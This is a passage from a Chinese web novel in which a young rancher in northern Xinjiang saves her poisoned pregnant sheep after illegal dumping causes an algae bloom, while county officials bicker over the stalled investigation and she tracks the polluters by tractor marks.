姚新泉抬高羊的头部，缓缓注入活性炭，看着之前生龙活虎的小家伙们如今萎靡不振，从前清澈明亮的眼神也像是被什么覆盖住了一样不复从前的模样，姚新泉只觉得憋闷，更有一股戾气在胸腔中涌动。 她合上小羊的嘴，摸了摸它的耳朵继续喂下一只，现在时间紧任务重，没时间去想别的，先挽救这批小羊的性命最重要。 师月江远远看了她一眼，眼中满是担心，他第一次见姚新泉这副模样，像是马上要冲出去跟谁打一架一样。 师月江叹了口气，心里也满是愤怒，这个牧场是姚新泉父母留下的心血，同样也付诸了她近一年的心血。 从她回到这个牧场开始，可以说她一天也没歇息过。圈养的时候要每天喂食，散养的时候也有许多事情要处理，牧草的补种、青贮饲料的种植、收割、粪便的处理，牲畜棚的清扫，她有太多事情要做了。 就算这些全都做完了，那她每天还要保证最起码学习两三个小时。 忙碌得让他心疼！ 可她耗费了这么多心血的牧场，如今就因为一些不知所谓的人直接向河水里排污而受到损失，他怎能不恨！ 师月江抿紧了唇，可现在不是计较这些的时候，还是先救羊！ 姚新泉喂完八十多头羊后手都开始抖了，这时候高勇带来的人也采样做好检测打算离开了。 高勇想了想拦住了两名公安，“你们记录一下牧场的损失，回头找到责任人肯定是要主张赔偿的。” 开玩笑，当谁是冤大头吗？凭什么别人要承受他们带来的损失？ 公安同志赶忙给姚新泉做了个简单的笔录后一行人才离开，高勇也跟着走了，他不是专业的，又是个领导，外面有很多事情要去忙，没办法在这帮忙。 看姚新泉那边喂完了艾力又喊她，“你去看看母羊有没有尿跟拉？你做好记录。” 师月江又带来了油漆桶跟纸笔，他已经给每一头羊编号了，这样也不用担心漏掉了谁。 用了活性炭可能会导致便秘，又用了硫酸钠，必须得确保导泄成功。 她一头一头观察过去，现在大多数都拴在了围栏上，有没有排便排尿地上都能看得出来。 等检查过又做了记录后，想了想姚新泉道，“其他羊目前是还没有中毒迹象，但是不代表它们没有吃蓝藻，也稍微少喂一点活性炭吧？” 艾力点了点头，这些羊数量太大了，没办法一只一只喂，姚新泉正在想办法就听师月江道，“我带了些白糖过来，在车斗里，你看要不给它们兑一点白糖？” 羊的味觉系统是能感知到甜味的，而且甜味对它们的吸引力也很大，它们爱吃含糖量高的牧草跟蔬菜水果，而甜食也能给它们提高更多的能量，这是身体的选择。但是时间长了也就养成了它们对甜食的偏好。 姚新泉朝他笑了笑，翻出白糖来给拌上然后倒进食槽里。羊确实不爱吃，但碍于里面有甜味，不爱吃也会吃一些。 它们没什么明显中毒迹象，本身也不用多吃，多吃了也不好。 等全都挂上水后艾力也不免叹了口气，太累了。 知道她家有超声仪，艾力撑了撑腰后才道，“检查下胎儿情况吧”，他欲言又止，蓝藻中毒通常是急性的，对胎儿产生影响的可能性很大。 也许是胎心和胎动减弱，也许是胎儿后续就不发育了或者发育迟缓，甚至是畸形。 胎盘、羊水都有可能因此受到影响，如果真的胎死腹中那还得引产。 他叹了口气，“检查吧！” 因为母羊们情绪不稳定，所以现在凡是跟它们接触的活儿都由姚新泉来干。 她接过剃刀，缓缓将小羊肚子上的毛刮掉，然后涂抹上耦合剂缓慢移动，艾力紧紧盯着屏幕半晌后揉了揉眼睛，“你再往上挪挪？” 姚新泉老实往上移动，就见艾力眉头皱了起来，姚新泉的心一下就被捏住了一样，“怎么了，不会胎儿真出问题了吧？”她探着头去看屏幕。 艾力皱眉抿唇，“不是，就是因为胎儿状况太好了我才觉得奇怪。”倒不是说他一个兽医非盼着人家牧民养的牲畜出问题，主要是不应该啊！ 虽说这些羊的症状没有严重到回天乏力，但是都是有中毒迹象的，妊娠期间怎么可能不传给孩子呢？ “你再看看旁边的”，艾力催促道。 “好”，姚新泉心里有个猜测，她继续给第二只小羊剃毛，涂抹耦合剂，看屏幕。 艾力又是高兴又是不可置信的，表情很是一言难尽，“这还是个双胎，孩子也没问题！” 见鬼了是吧？母体全都中毒了，孩子一个没事儿？ 这可能吗？ 主要是这也不合理啊？孩子在母体里，某种意义上来说甚至就相当于母体的一个器官，怎么可能身体中毒了，只有那一个器官本身没有任何问题。 这上哪儿讲道理去？ 第80章 姚新泉抿了抿唇,“系统，是你吗？是治愈术吗？” 系统没有给他肯定的答复，所以姚新泉不是百分百肯定一定是它帮的忙。可不是它又是谁呢？ 这种蓝绿藻中可能含有多种毒素,比方说微囊藻毒素,这种毒素会导致细胞结构杯破坏 ,引发肝脏出血或者坏死。 还有节球藻毒素,也是会对肝脏造成危害,甚至比微囊藻更大的破坏。 另外还有损伤肝脏、肾脏、肠道的柱孢藻毒素和一些神经性的毒素。 即便是对于一头健壮的羊来说都有很大的致死率,更别说对于怀孕的母羊来说了，一尸两命是最大的可能了。 就算不考虑之前的付出，不考虑它们的孩子生下后会给自己带来多大的利益，只是考虑这些羊本身,一下损失八十多头,至少会给她造成一万块的损失！ 如今新省的人均月收入不到250块,就算250元好了，1万块那可是一个人不吃不喝3年多才能攒下来的！ 她如果没有父母留下来的这些，她怎么敢一次性引进这么多羊和家禽,还扩大规模？ 她可还背着贷款呢！ 想到这里姚新泉拳头都硬了,“你说上游是什么情况？” 师月江叹了口气表情也很是不好看，就算不考虑姚新泉的损失,仅仅说这水体被污染都足够让人气闷了。 “估计是新开了什么工厂吧”。 “新开了什么工厂都没往河里排污的道理吧！”姚新泉气得太阳穴不停地跳,“这出事的是羊,那万一是人呢？” 她气得不想说话了,接着看了下后面几天的天气预报，这一看脸又黑了，现在是17点，21点有雨！ 姚新泉扶着额头缓缓吐出一口气,“得把羊赶回家去！” 就算胎儿暂时没问题，羊身上的毒素也没办法通过这么简单的治疗短期内全部排出体外的。 这种情况下要是淋雨的话绝对会加重病情的！ 前两天定好今天要剪毛的时候确实是看的有雨，不过如今温度起来了，到事后把它们关到羊圈里也不至于受凉，所以她没当一回事儿，现在就不一样了啊！ 艾力有些为难，“大多数都站不起来呢！” 本身中毒破坏了它们的身体，再加上又给它们喂了一些泻药，现在腿都是软的，怎么回？ 见姚新泉眉头紧皱的样子师月江心里也难受，“这样，先把目前没有反应的羊赶回去，剩下的情况最严重的用三轮车慢慢往回拉，情况稍微好一点的慢慢往回走吧！” 姚新泉点头，也只能这样了。 马合木提江跟牧羊犬赶羊回去，师月江载羊，剩下三人慢慢赶着中毒的羊。 看着萎靡不振眼睛都雾蒙蒙的小羊，姚新泉心里难受得不行，都怪那些王八蛋，也不知道抓到是谁干的没有！ 另一边高勇跟公安等人一路顺着河流往上游走，他们都骑着摩托车，这都要走出本县有人的地方里，再往里就算不说是深山老林，但也可以说是人迹罕至了，怎么可能有人在那边开工厂？ 所以工厂呢？ 谁排放的？ “你们一路上有看到有工厂或者有人排污吗？” 众人都摇头，一行人不信邪又往回走，可还是没有看到哪里有人排污，这就奇了怪了啊！ 几人赶紧回了县里联系了分管农牧业、林业、草原局的副县长石岳文，他一听后便皱起了眉头拍案而起，“狗日的东西，往河里排污这害得可不止咱们一个县，这后面的流域全都得被影响！” “可不是，而且我们转了一圈确实没看到周边有工厂，如果不是周边工厂不慎泄露污水，那很大可能性就是有人专门带了污水去河里排放的，这种性质就更恶劣了！”高勇也想骂人，没这样做事情的！ 他可能省了一点治理污水的钱，可国家要因此付出多少治理环境和净化河流的钱？老百姓又得有多大的损失？ “这样”，石岳文沉吟道，“先去联系专业人员过来对河水进行检测，看看河里多了什么元素包括不同河段污水的浓度，看看能不能分析出是什么厂子又是在哪里排的！如果排污点不在本县那还得联合外地政府联合办案！” “如果能确定是什么厂子的话那就好排查了一些。” “另外去安排对全县所有大大小小国营、私营的工厂进行摸查，去看他们的排污设施是否有安装，是否合格，顺便看看能不能发现什么端倪！” “再安排人去河流流经的地区统计农田、牲畜、人口的受损情况，需要人医或者兽医或者技术人员的相关部门都配合一下，尽量将损失降到最小，到时候把损失情况汇报给我！另外去做好宣传工作，短期内人和牲畜都不许饮用河水！” “立马组织人对河里的蓝藻进行打捞或者是拦截，这个由分析后看看哪个更合适。除了物理打捞之外再看看是否要通过化学手段去杀藻。” “另外再联系相关专家，请人家过来看看怎么恢复这条河的生态环境，行了，赶紧动起来！” 石岳文拍了拍手示意大家赶紧去干活，他自己则是去跟县长汇报了情况，县长黄志光听得也头疼不已，“岳文这个事情你盯紧一点，有什么进展及时告诉我，或者有什么需要配合的你也跟我说，这事儿我得跟市里汇报一下。” 规模不小，这不是想不想压的问题，七十年代的时候咱们国家就参加了联合国首次人类环境会议，那是咱们国内首次接触到国际环保理念。八十年代陆续出台了《环境保护法》、《水污染防治法》。八八年的时候更是成立了国家环境保护局，这段时间听说六月份的时候国家又要去参加什么地球峰会，好像要提出什么可持续发展的理念。 他自认为对这些还比较有前瞻性，未来肯定会强调可持续发展。他们县在市里不算拔尖，平时最多就是个中庸吧，可别因为这档子破事惹了领导的眼！他还等着退休呢！ 这又不是说今天污染明天就能治理好，这不要时间吗？如果自己没提前报备，到时候他们通过其他途径知道了，那更完蛋！ 石岳文点头，这是他分管的部分，如果追责他肯定逃不掉，就算县长不叮嘱自己也得抓紧！ 等回到办公室后他赶忙给自己在市里唯一一所大学当行政副校长的同学打了个电话，“老万，我有个事儿想求一求你！” 被安排下去的人都动了起来，姚新泉顾不上考虑别的，此刻她把一只看起来精神不太好的小羊抱了起来，将近60公斤，要是以前她倒也不是抱不动，而是没办法抱着走，但现在也只是觉得有些重量罢了。 她两只手抱着小羊，尽量不要压迫到它的肚子，又用头蹭了蹭小羊，眼中满是怜惜，“可怜呢！” 小羊低低地“咩”了一声，听得人心里软软的。 师月江那边已经来回跑了三四趟了，一次拉四头小羊，看起来状况最差的差不多都拉回去了。 “我估计下面也用得上我，等把羊赶回去我就去下面看看”，艾力也着急，姚新泉家牧场大，但是真说起来牲畜并没有很多。 有的人家别看地方不大，但是他们饲养的可真不少，密度特别大，有没有中招真不好说！ 姚新泉摇了摇头，“你先去吧，你把账记好，等我这边忙完了我去给你付钱。” 艾力能做的事情他全都做了，剩下该做什么她基本也都了解。 艾力想了想点头，不过还是叮嘱，“你回去还是要监测它们的生命体征，看有没有呼吸困难或者腹泻以及黄疸的。” “我带过来的葡萄糖都用完了，你过会儿让小师跟我下去带一些上来，如果情况不好那就继续 挂水，如果还可以的话，那也能口服，促进排毒。” “我再回去配点儿药，如果没继续恶化就先别喂了，真有恶化的再说”，虽然说目前看来小羊羔应该都没问题，但是是药三分毒这句话无论在人身上还是在牲畜身上都是适用的，不需要的情况下那就少吃药。 “我记得你家之前种的黑冬麦发的还不错，你们去割一些回来给他们喂鲜草，另外看看家里有没有燕麦可以熬燕麦粥，没有的话喂点米汤或者小米粥也成”。 姚新泉点头，其实喂点儿麸皮水也行，就是用麸皮泡水，只取上层的清水，能缓解脱水，提供少量能量，另外促进肠道蠕动。 “我知道了，真的多谢你了艾力叔叔”，姚新泉很难不感动，自己一个电话他带了一堆药品上来，不嫌脏不嫌累的，最开始几头小羊还拉在他身上了人家也没见嫌弃。 就算这是工作，但姚新泉很难不领情。 艾力摆了摆手，脸上满是苦笑，“我本来就想着尽人事听天命，我也没想到竟然能保下来。” 怀孕的母羊啊！ 只滑胎都是好的了，看现在的情况母羊们虽然身体还不是特别好，但竟然都撑下来了，小羊羔也都好着，这真是一个奇迹！ 80-90 第81章 艾力走了之后姚新泉和师月江两人把八十多只羊单独关了起来,然后又去了牛群那边把牛也赶了回来。 马合木提江两人赶紧去外面割草，姚新泉说要下雨了，到时候割的草放不住,而且吃了带雨水的草容易导致瘤胃里酸度增加,可能会导致瘤胃酸中毒,所以还是趁早割。 姚新泉跟师月江两人又去把鸭子赶了回来,庆幸的是因为鸭子太小了而且温度也不稳定,所以没安排它们下河,鸭圈所在的地方就没有临河，暂时不用担心它们也吃到。 两人把鸭子赶回来后姚新泉又带着师月江往外走，师月江有些疑惑，“不是快下雨了吗,怎么还出去？” 姚新泉叹了口气,脸上满是愁苦,“之后几个月是北疆这边最热的时候，中午最高温度能到30多度。咱们牧场流经了这条河，本来正常情况下是不会有牲畜饮水的问题的,但河里现在是这么个情况,就算治理得当，最起码也得一两个月吧？这还是快的。” 如果情况再严重一点,半年一年的也未必能恢复如初,要是再来个三五年她的牧场还开个屁啊！ 总不能他们这三五年啥都不干天天去给牲畜送水吧？ 别说这样做规模肯定没办法扩大,他们自己也得累死！倒也能请人,可不要钱吗？这该死的污染已经给她造成损失了，再增加经济负担那是真受不了啊！ 师月江明白了她的意思，“难道牧场上还有别的水源？” 姚新泉叹了口气，她点头,“有，但是规模没这么大，还得去看看”，而且是不是还要挖河道，把水往下面引一下呢？想想就头痛！ 姚新泉知道大概的地方所以骑着摩托车载着师月江出发了，担心马上要下雨，她骑得速度很快，师月江双手紧紧抓着两边的扶手，没好意思搂着姚新泉。 要是搁平时姚新泉可能还要调笑两句，现在根本没那个心思。 两人骑了半个小时左右，终于到了牧场里的一座小山边上，姚新泉把车停下来带着他往里走。 “在山上？” 姚新泉摇了摇头，“不算，到了你就知道了”，上面不方便骑车，两人又走了三五分钟师月江侧耳听了听，“我好像听到水声了。” 姚新泉虽然没听到，但脸上的神情放松了一些，“走，咱们过去看看。” 泉水并不是从两人上来这边流下的，等两人上去后才看到一个直径差不多四五米的小湖泊。 “牧场里有湖？” 姚新泉摇头，“是一口泉，泉眼比较大”，见到今年的水量还不小姚新泉心里的担忧下去了一些，脸上也多了几分笑意，“我名字里的泉就是它。” 师月江有些诧异，“你们家不是才承包的吗？” “我出生那年我爸妈在放牧的过程中发现了这口泉水，据说之前好像都没有，不知道怎么突然就有了。我妈回家后当天我就生了，所以我爸给我取得名字是新泉。” 师月江突然觉得这泉水亲切了几分，可见姚新泉想往前走他还是拉了一把，“边缘可能会陷进去，你别凑太近。” 想了想又问，“那你是想以后把牛羊赶到这里来饮水还是想把水引下去？” 姚新泉叹气，“过来一趟咱们骑摩托速度可不慢都要半个来小时，而且目前牛羊是在咱们生活区不远处放的，之后轮牧肯定要到别的地方去，到时候过来一趟就更远了。” 但是引水的话可能也有问题啊！首先就是政策允不允许呢？ 像是猜到姚新泉的想法了一样，师月江想了想道，“我问问我朋友，你也问下高局长他们，新省这边特殊一些，可能有些地方政策跟别的地方不一样，又是牧区，估计就算有要求也没那么严格。” 又没有破坏环境，也不会过渡引水，况且这次的事情对姚新泉来说也是无妄之灾，就算有政策也不可能不考虑这些牧民的困难的！ 两人转了一圈心里有数之后，这才在下雨前赶到家，刚把摩托车停好外面倾盆大雨就下了起来。 “幸好提前让他们夫妻回去了”，她家的习惯就是这样，回来圈养的时候他们喂好牲畜就能回了。 两人又去看了一波那些情况严重些的小羊，它们精神不是特别好，但是至少没到最坏的情况。 两人也不想做饭了，随便煮了个面正想吃的时候就听到电话响了，“我感觉跟这个事情有关”，师月江也点头，“快去接吧！” 姚新泉接起电话后听了一会儿眉头便皱了起来，见姚新泉脸都黑了师月江也忍不住看了过来，这是怎么了？ “行，那我知道了，我这边已经做了初步的救治，但是具体恢复还得看”。 两人又说了几句话后便挂了电话，“怎么了？”师月江忙问。 姚新泉脸色很是难看，“说是没找到排污的痕迹，明天接着找。” 师月江的眉头也皱了起来，这算怎么回事儿？ 下大雨之前没找到，下大雨之后那痕迹不更没了？上哪找去？ 新省确实地大物博，但是也地广人稀啊！内地经济发达一些的地区如今一个县能有将近100万人，就算是欠发达地区都有三五十万。可新省就不一样了，北疆这边从内地迁过来的人多一些，相对来说人口一个县大概在一二十万，南疆人口少的地区，不少县的总人口都不到10万！ 就这么点儿人，跟污染挨的着边的不就更少了？怎么可能一点线索都没有？ “那别的呢？河流的打捞呢？”师月江皱眉问道，就算他不是专业人士也知道，就算不采取别的救治措施，最最起码得把河里的蓝藻都捞走吧？ 姚新泉心里憋了一口气，可这又不能说人家干的有问题，“说是从上游开始捞。” 某种意义上她能理解原因，从上游开始可以阻断扩散的源头，提高效率，也能减少二次污染。 但是作为处于中下游的自己，她怎么可能不憋屈？ 难道她就活该倒霉吗？ 而且如果是平时也就罢了，大不了她请人来打捞！可是姚新泉看了一眼还在打雷的天空，这种天气就算人家愿意赚这份钱，她都不可能同意让人家干！ 出了事儿算谁的？ 在治污上说一句时间就是生命一点都不过分，现在就相当于让她眼睁睁看着人死去却一点办法都没有！ 姚新泉心里憋屈，可现在外面又是下雨又是闪电的她也确实没办法自己去寻人或者找解决办法，就很气！ 两人囫囵吃完晚饭后便各自回去休息了，姚新泉定了三个小时左右的闹钟，穿了件干活的外套刚往外走便看到羊圈那边亮 起的灯光，她脚步顿了顿。 走进之后才看到是师月江在给羊量体温，检查眼鼻口处有没有异常。 他略显笨拙地给体温计消毒，随后小心控制住小羊，再动作轻微地给它们测肛温，尽量让它们不要剧烈挣扎，等感觉到时间差不多了才小心把温度计拿出来，看了看后松了口气，把小羊放到另一边去后又给温度计消毒。 “我跟你一起来吧！”姚新泉突然出声，师月江看过去后叹了口气，“我就知道你肯定要起来，我还想着能在你起来前都弄好呢！” 不过他也没同意，他指了指自己身后两只单独关着的羊，“你先看看那俩吧，体温高了，估摸着得挂水。” 正常成年羊的体温大概在38.5-40摄氏度左右，“它俩一个41度一个41.5度”，不算烧得特别厉害，但是它们现在身体情况不好，就算轻微发烧也得注意。 姚新泉眉头皱了起来，她凑近了两只小羊，两个小家伙都拿头来蹭她，看的姚新泉心软软的。 她摸了摸小羊的耳根，正常小羊的耳根温度应该是略低于体温的，但是这两个小家伙的耳根温度都不算低，确实发烧了。 “我回去拿下东西”，雨还没停，她穿上黑胶雨衣跑回客厅，拿上自己提前让艾力给自己配好的药，给两个小家伙挂上水后师月江那边也检查得差不多了。 “其他的体温都正常，眼耳口鼻都没什么不对的地方，身体状况应该还好，咱们这次的损失算是降到最低了”，就算这两头最终撑不下去，但好歹算是把损失降到了最小。 姚新泉点头，两人靠坐在檐下躲雨，羊圈里太闷了，就算再干净也总有一股牲畜的味道，如果先回去再过来又太麻烦了，姚新泉懒得折腾。 师月江说了句抱歉然后轻轻搂住了姚新泉，姚新泉没抗拒，北疆的晚上温度还挺低的。 “我想自己去查查”，姚新泉突然道，她就是咽不下这口气，如果指望着别人查，最后能查出个子丑寅卯倒也罢了，如果什么都查不到，让那些王八蛋逃掉了处罚，那她真的是做梦的时候都会气醒的！ “不管是我从干这行到现在，还是我长这么大，都没吃过这种亏！我自己也好，沿途的牧民、农民，乃至于牲畜、环境，哪个不无辜？这纯粹就是无妄之灾！那些王八蛋都能开厂子了，想办法处理处理污水有那么费劲儿？不过就是希望利润能高一些再高一些罢了！让他们赚着这些黑心钱，我睡不着觉！” 师月江拍了拍她的肩膀，“我陪你一起。” 第82章 第二天一早姚新泉跟师月江两人又去看了小羊的情况,万幸，那八十多头虽然精神还是不算太好，但是已经没有什么诸如发烧流涕之类的症状了,昨天的药也都排泄过了,不过她还是给这群小家伙安排了减量的活性炭,顺便又用了金手指,就怕体内还有余毒。 跟来的马合木提江夫妇交代了工作后姚新泉先请了两个人上来帮她顺着山泉那边挖下来一条渠沟,不用太深,平均能有个五十公分左右的深度就成，把水引下来一些。 她大概给两人规划了一下往哪边挖就跟师月江先走了，至于蓄水池的话目前顾不上，挖渠沟还好说,蓄水池是真的要审批的。 在姚新泉这边打算自己去查的时候,石岳文也在拍桌子,“这就是你们的效率？怎么着，人家企业内现在要解决铁饭碗的问题，咱们政府部门内部也得一起解决解决是吧？” 几位平时在县里也算是呼风唤雨的领导都低着头没说话,高勇算是里面相对来说情绪最平和的一个了。 林业局的工作内容主要是做林业生态规划建设、进行林业产业指导与管理以及对野生动植物保护的、森林病虫害防治和森林资源保护等等。 这次的事情闹得确实不小,但是真说起来，严重也只是因为目前刚好在蓝藻爆发期。 至于影响林业什么的不至于,他们要做的就是预防野生动物误服以及如果有已经误食的,那得赶紧救治。 别的也就罢了,主要是鱼类,不过万幸的是因为最近的水温升高，他们监测到不少鱼类都已经向高海拔或者水更深更冷的地方迁移，所以影响肯定有，但是应该没那么大！ 见没有人说话,石岳文黑着脸点名，“高勇，你先开始汇报工作。” 高勇点了点头，翻到自己做的工作记录那一页，“那我先说一下我这边的工作内容，我们统计过了这段河流流经的地区周围2公里范围内并没有保护植物，就算有一些树如果未来的成长受了影响，到时候我们会安排补种。所以目前我们的工作中心还是放在未来一段时间内不要有野生动物以及家禽、牲畜等饮用了这条河里的水上面，针对这一点我们……” 他将自己部门已经做得以及未来一段时间的安排阐述了之后石岳文脸上的怒意下去了一些，“那高局长你们继续跟进这个事情，咱们这边保护动物也不少，你们上上心。” 他说完后又看向生态环境局那边，没说话，但是表情很明显，轮到你们了。 生态环境局这次局长和副局都来了，副局没忍住抹了下额头上的汗，心里忍不住暗骂，这都什么破事啊！ 他们生态环境局的主要工作内容就包括了贯彻实施一些跟保护环境有关的政策、负责较大生态环境问题的统筹协调和监督管理以及统筹开展全县的污染减排工作等。 瞧瞧，这次不是正好撞枪口上了？ 这次的事情也许放在外面不算大规模的污染，但是在他们县里可算是头一例了啊！ 局长赵友明清了清嗓子，脸上看不出什么多余的表情来，“是这样的，我们目前的工作主要放在几个方面，首先是联系了环境监测的相关工作人员以及市里大学相关专业的工作人员过来对污染源进行检测，人员今早就能到。” 石岳文听到这话脸一下就黑了，但他克制住了没说话，听他继续往下说。 “其次，我们联系了下面乡镇组织人员去打捞河蓝藻，预计今明两天应该能打捞干净。” “第三点，我们在配合公安部门调查污染源头”，没等他继续往下说石岳文便打断他，看向了公安局局长年斌，“有调查出结果吗？” 年斌正翻着自己提前打好的草稿呢，听石岳文这么问愣了一下，但这事儿也没办法忽悠人，绕了几圈后在石岳文冷冽的目光中最终还是摇了摇头，“目前还没有太大的进展。” 石岳文都气笑了，他也确实笑了出来，“你们怎么好意思吃国家饭的？拿着那工资你们都不觉得烫手吗？” 他知道这些人的本事，本身也没对她们抱太大的期望，但是你也不能太过分吧！ 他本想忍一忍，可忍了半天根本忍不住，他用力锤了两下桌子，高勇只觉得自己面前的钢笔都跟着跳了两下！ “昨天这事情报到我这边来的时候是下午5点20，老百姓发现并且告诉你们的时间是10点50，雨是晚上8点30左右下的，那你们告诉我，在没下雨的这九个小时左右的时间你们在做什么？” 他又用力拍了两下桌子，知道他们废物，没想到废物成这个样子！ “九 个小时啊！九个小时！就算把你们安排到源头区拿叉子往上捞都能捞半条河了！你们干嘛去了？” “我昨天联系了市里大学的教授，对方在下雨前已经赶到了咱们县，凌晨雨一停人家就已经出去采样了，早晨9点钟就已经过来找我借实验室去忙了，你们呢？” “赵友明，你说你找的大学工作人员，人呢？到了吗？哪个专业的？来了几个？带设备吗？” 赵友明这下跟旁边的副局一样不停擦汗，他脸都白了，只觉得牙都开始疼。 见他这个样子石岳文心里什么不知道？ 可笑至极！ 他们县是个不知名的县城，市不也是？ 整个市里就一所大学，还是一所师范类的大学，他这次请的就是化学等专业的教授过来的，都是一所学校，又是工作日，如果其他教授也接受邀请会不跟学校请假或者报备？他那个同学就是搞行政的，会不知道？ 这种事情拿出来敷衍他，真是无耻之尤！ “你们生态局针对这种突发事件有没有预案？” 要是之前的话赵友明还敢硬着头皮说有，至少把这个事情先敷衍过去，但是现在石岳文这个态度，他哪里敢啊！ 见他支支吾吾的模样石岳文反而不气了，这种人你跟他生气有什么必要呢？ 不过生不生气是一回事，出了这么大的事情，现在他们部门的两位领导没有一个能上的了台面，那就得有人去抗住这个烂摊子。 “会议结束之后我就去你们生态局，在此期间内的所有工作都跟我汇报。” 赵友明想说这样不符合规矩，石岳文冷笑一声，“有什么话要么你就憋着，要么你就自己去县长或者市里举报我，我就在这等着”，说完不理会他了。既然生态局已经这样了，后续的工作他会过去安排的，不在这对牛弹琴了。 “公安这边呢？没查到排污单位，线索也没有吗？” 局长张思华叹了口气，“已经排查过周围的厂子了，没有线索，目前在走访周围住户。” 石岳文又笑了，一群草台班子！ 还走访住户！ 那是哪里？那是牧区？啥叫牧区不知道啊？那是人家放牧的地方，那条河周围几十公里范围内可都未必能见到一座正儿八经的房子！ 咋了？打算来县城走访住户是吧？ 石岳文只觉得自己要气死了，他现在也才四十来岁，还打算为了老百姓奉献一生呢，总不能现在就倒在工作岗位上吧？ 刚想说话就听到秘书激动地推门而入，“石副市长，有人找到线索了！” 石岳文眼睛一亮赶忙站起身来，“谁？你怎么知道的？哪来的消息？” “是公安那边的楼副局长来送的消息，说是最先发现污染的那户牧民找到的线索。” 公安局长年斌眉头皱了一下可也没多说什么，石岳文快步向外走去，他倒要看看到底是怎么回事！ 再说回姚新泉两人那边，两人骑着摩托车出了牧场范围后往上游骑去，那些人就算再猖獗也不可能到她牧场里来排污，所以往上找就成。 两人一路往上骑，河里的水今天看起来甚至比昨天更糟糕，放眼望去河流表面布满了蓝绿色的藻类，姚新泉只觉得心都难受了起来。 “这些杀千刀的！”她咬牙骂了两句。 师月江把车停了下来往水里看了看，“估计是因为昨天的降雨导致水下堆积的营养盐重新释放到了水里，促使了藻类的爆发，甚至看起来比昨天还要严重。” 姚新泉点头，脸色很是沉重，“咱们分开找找吧，这周边没有厂子，大老远运污水过来肯定得有交通工具，先找找车辙吧！” 姚新泉也说不好是什么车辙，也许是卡车，也许是拖拉机，当然了也不排除牛车马车，反正都有可能。如果是卡车的话那肯定没啥好说的了，整个县里也没几台，拖拉机多一些，如果是牛车或者马车那肯定完蛋！ 不过她很担心的一点是痕迹会不会被雨水给冲刷掉了？ 两人一路低头找着，确实很费劲儿，“你把车骑到前头去，然后你往这边找过来吧”。 师月江没意见，两人忙了大半个早晨没找到任何线索，姚新泉心里憋的难受。 她用力踢了一脚石头，石头落入河中溅起了不少水花，她不想被水蹦到身上便往旁边避了避。 可当她的目光落在身后的草丛上的时候，她的目光顿住了。 姚新泉盯着那仿佛是被雨水压弯了的草看了许久，像是想到了什么一样，她的目光越来越亮，半晌突然大叫一声“师月江，你快过来”，接着便低下头顺着草倒下的方向走去，另一边的师月江则是被她吓了一跳。 第83章 师月江离姚新泉大概有七八百米的距离,他只听到姚新泉的叫声但没听清具体的内容。听到动静后他赶紧看了过去，本来还能远远看到对方，可当姚新泉蹲下去查看草的时候,他竟然一时间没看到姚新泉,吓得他撒腿就往这边跑了过来。 此时种种不好的预想在师月江心头盘旋,不会是被蛇咬了吧？还是什么别的？她有没有出事啊？摩托车在远处,他背着姚新泉过去骑车的话又得耽误时间,会不会来不及啊！ 他用了毕生最快的速度冲到姚新泉面前的时候她刚好站起身来,师月江就那么茫然地看着她。 姚新泉见他过来了眼睛一亮，“你快看，这草被压倒的感觉不太对！” 师月江愣了愣，草？什么草？ 他努力平复呼吸向姚新泉所指的地方看去,这一看目光便顿住了,确实不对。 昨天的雨下得不小,如果说打歪了一些长得比较高的草很正常。不过被雨水打倒的草茎叶可能会弯曲或者贴地，但是一般情况下不至于结构断裂。 就像是家里菜园子里被雨水打倒的西红柿、辣椒苗，等雨停了你给人家插个树枝子捆一下还能继续往上长,一样能结果。 但是被重物压倒的就不是了！ 无论是被什么重物压倒的,植物的茎叶都可能被压碎、压断甚至是导致根系受损，土壤也会被压实。 师月江看着面前的草沉吟了一会儿,“不像是车压得,倒像是别的。” 姚新泉双眼放光用力点头,“当然不是车,我觉得是管子。” 被压倒的范围不大，但是呈长条状往外延伸。 两人对视一眼后一起沿着那条痕迹向外走去，大概七八米的距离之后姚新泉指着被压倒的另一片草冷笑，“这应该就是他们停车的地方了吧？” 草伏倒是一方面,再往外走走还能看到车辙印！ 姚新泉气得不行，又气那些排污的王八蛋，也气那些明明这么简单就能找到线索，结果根本没动静的人。 师月江趴在地上仔细观察的同时还拿手比划了许久，姚新泉也不打扰他，自己在旁边找别的线索。 过了一会儿后师月江喊了姚新泉一声，她赶忙过去，姚新泉指着地上的痕迹，“这像是拖拉机的印子”。 姚新泉猜到了，县里的两台卡车都比这个大多了！ 不过只是这样的话还是不好往下找，他们县就算条件一般，但是一个公社大概也有两三台拖拉机，七个公社再加上县里的一些单位，四五十台拖拉机估计还是有的，只能讲说是把范围适当缩小了一些而已。 师月江又指着印子给她讲，“咱们新省这边的拖拉机大多的东方红、天津那边的铁牛、江西那边的丰收以及苏联跟东欧那边进口的拖拉机。” “这几种机型里东方红75/802的履带宽大，东方红28的前轮窄，后轮宽，后轮也大多数是9.5-24或者11-32花纹轮胎。” “铁牛的话后轮是双轮胎，胎面花纹呈‘人’字型。” “丰收的话这边主要用的是丰收35，后轮轮胎是12.4-28的，而且花纹一般也比较浅。” “但你看这个”，他指着履带的印子，“这个履带很窄，我估计也就三四十厘米左右，东方红的履带宽度我记不清了，但是肯定比这个要宽，而且你看这个车辙印的边缘也特别尖锐，就我个人而言，我更倾向于是苏联的DT-75，。” 姚新泉目光中满是惊叹，“你怎么这都知道？” 师月江笑了笑，倒没什么觉得好骄傲的，“我哥之前想做农机生意，所以我也了解了一些知识，不过后来还是没干这一行。” 姚新泉点了点头，“既然咱们有线索了那先去跟领导那边汇报一下”，她声音里难免充斥着怨气，“咱们两个平头老百姓能做到这一步，总不能说还不给我们后续进展吧？” 师月江安抚性地拍了拍她的肩膀，带着人准备去县里，“你打算跟谁去说？” “先去找高局长吧”，姚新泉想了想，他们最开始找 的就是高局长，有进展肯定要跟人说一声。 “我再跟楼叔叔说一声”，昨天晚上楼宇他爸还专门给她打了个电话关心她牧场的事情，弄得姚新泉还怪不好意思的。 两人跑了一趟林业局，听说高勇去开会了，两人扭头又去了县公安局，楼宇他爸楼明是县公安局的副局长，要不是对方刚好看到他们了，他们想见一面都难。当然了，如果师月江用家里关系的话另算。 不过姚新泉不介意接受师月江的帮助，不代表事事都要靠着他家打通关系了自己才能办事。 别说她们目前只是在恋爱阶段，就是结婚了也不可能什么都指望着对方啊！什么都指望着对方了，万一对方将来不那么可靠了，或者有别的心思了，她的牧场怎么办？她的事业怎么办？ 楼明听到消息后跟两人确认了真实性立马就联系了出去开会的局长那边，几人也就等了半个小时，石岳文等人就带着人过来了。 